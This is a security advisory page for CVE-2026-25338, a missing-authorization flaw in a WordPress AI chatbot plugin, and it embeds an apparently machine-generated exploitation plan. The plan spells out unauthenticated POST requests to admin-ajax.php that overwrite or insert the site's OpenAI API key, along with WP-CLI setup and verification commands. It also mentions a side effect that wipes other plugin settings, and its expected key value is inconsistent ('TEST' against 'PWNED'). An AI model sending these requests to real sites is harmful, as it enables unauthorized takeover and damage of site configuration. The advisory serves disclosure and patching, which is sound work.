AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.4 - Missing Authorization
Description
The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.7.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.7.4What Changed in the Fix
Changes introduced in v2.7.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-25338 ## 1. Vulnerability Summary The **AI ChatBot with ChatGPT and Content Generator by AYS** plugin (version <= 2.7.4) is vulnerable to **Missing Authorization**. The vulnerability exists in the `Chatgpt_Assistant_DB_Actions::store_data` function (found in …
Show full research plan
Exploitation Research Plan - CVE-2026-25338
1. Vulnerability Summary
The AI ChatBot with ChatGPT and Content Generator by AYS plugin (version <= 2.7.4) is vulnerable to Missing Authorization. The vulnerability exists in the Chatgpt_Assistant_DB_Actions::store_data function (found in includes/chatgpt-assistant-db-actions/class-chatgpt-assistant-db-actions.php). This function is responsible for saving plugin settings, including the OpenAI API key, to the database. Due to a lack of capability checks (current_user_can) and missing nonce verification in this specific class, an unauthenticated attacker can trigger this function to overwrite sensitive plugin configuration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(Theadmin_inithook, which typically triggers the save logic in this plugin, runs for all requests to this endpoint, regardless of authentication). - HTTP Method:
POST - Payload Parameters:
ays_chatgpt_assistant_id: The ID of the settings record in the database (typically1).ays_chatgpt_assistant_api_key: The new API key to inject.rMethod: Set toGETto bypass thewp_redirectlogic and return a simple string response.
- Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active, and a record must exist in the
wp_ayschatgpt_datatable (created upon plugin activation).
3. Code Flow
- Entry Point: An HTTP request is made to
/wp-admin/admin-ajax.php. - Hook Trigger: WordPress fires the
admin_inithook. - Plugin Initialization: The plugin (likely via
ChatGPT_Assistant_Main_DB_Actionsor a handler inChatgpt_Assistant_Admin) intercepts the request because$_REQUESTis not empty. - Vulnerable Sink: The code calls
Chatgpt_Assistant_DB_Actions::store_data(). - Lack of Protection:
store_data()(lines 31-89 ofclass-chatgpt-assistant-db-actions.php) checks if$_REQUESTis not empty but performs nocurrent_user_can()check.- Unlike the
ChatGPT_Assistant_Embedding_DB_Actionsclass, this class does not verify a nonce (lines 36-38 are absent of anywp_verify_noncecalls).
- Database Update: The function executes
$wpdb->updateon the table defined by$this->db_table(which iswp_ayschatgpt_data), updating theapi_keywith the user-provided value.
4. Nonce Acquisition Strategy
No nonce is required for the primary exploitation of Chatgpt_Assistant_DB_Actions::store_data().
The source code for class-chatgpt-assistant-db-actions.php shows that store_data() proceeds directly to processing $_REQUEST parameters without any nonce validation. This differs from class-chatgpt-assistant-embedding-db-actions.php, which explicitly checks for the embedding_action nonce.
5. Exploitation Strategy
The goal is to overwrite the plugin's OpenAI API key.
HTTP Request (via http_request tool)
- URL:
{{base_url}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
ays_chatgpt_assistant_id=1&ays_chatgpt_assistant_api_key=CVE-2026-25338-PWNED&rMethod=GET
Expected Response
- Status: 200 OK
- Body:
updated(This string is returned by line 82 ofclass-chatgpt-assistant-db-actions.phpwhenrMethodisGET).
6. Test Data Setup
- Ensure the plugin is activated.
- The plugin should automatically create a record in
wp_ayschatgpt_dataon activation. Verify its existence:wp db query "SELECT id, api_key FROM wp_ayschatgpt_data;" - If no record exists, create one manually to simulate a configured environment:
wp db query "INSERT INTO wp_ayschatgpt_data (id, api_key, options) VALUES (1, 'original-key', '[]')"
7. Expected Results
- The HTTP request should return the string
updated. - The
api_keycolumn in thewp_ayschatgpt_datatable forid=1should be changed toCVE-2026-25338-TEST. - Note: The
optionscolumn will be overwritten with an empty JSON array[], potentially breaking other plugin settings (side effect of the vulnerable function).
8. Verification Steps
After performing the HTTP request, use WP-CLI to verify the database state:
# Check if the API key was updated
wp db query "SELECT api_key FROM wp_ayschatgpt_data WHERE id = 1;" --skip-column-names
The output should be CVE-2026-25338-PWNED.
9. Alternative Approaches
If id=1 does not exist or has been changed, the attacker can attempt to insert a new record by setting ays_chatgpt_assistant_id=0:
Alternative HTTP Request (Insert)
- URL:
{{base_url}}/wp-admin/admin-ajax.php - Method:
POST - Body:
ays_chatgpt_assistant_id=0&ays_chatgpt_assistant_api_key=CVE-2026-25338-INSERTED&rMethod=GET - Verification:
wp db query "SELECT api_key FROM wp_ayschatgpt_data ORDER BY id DESC LIMIT 1;"
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.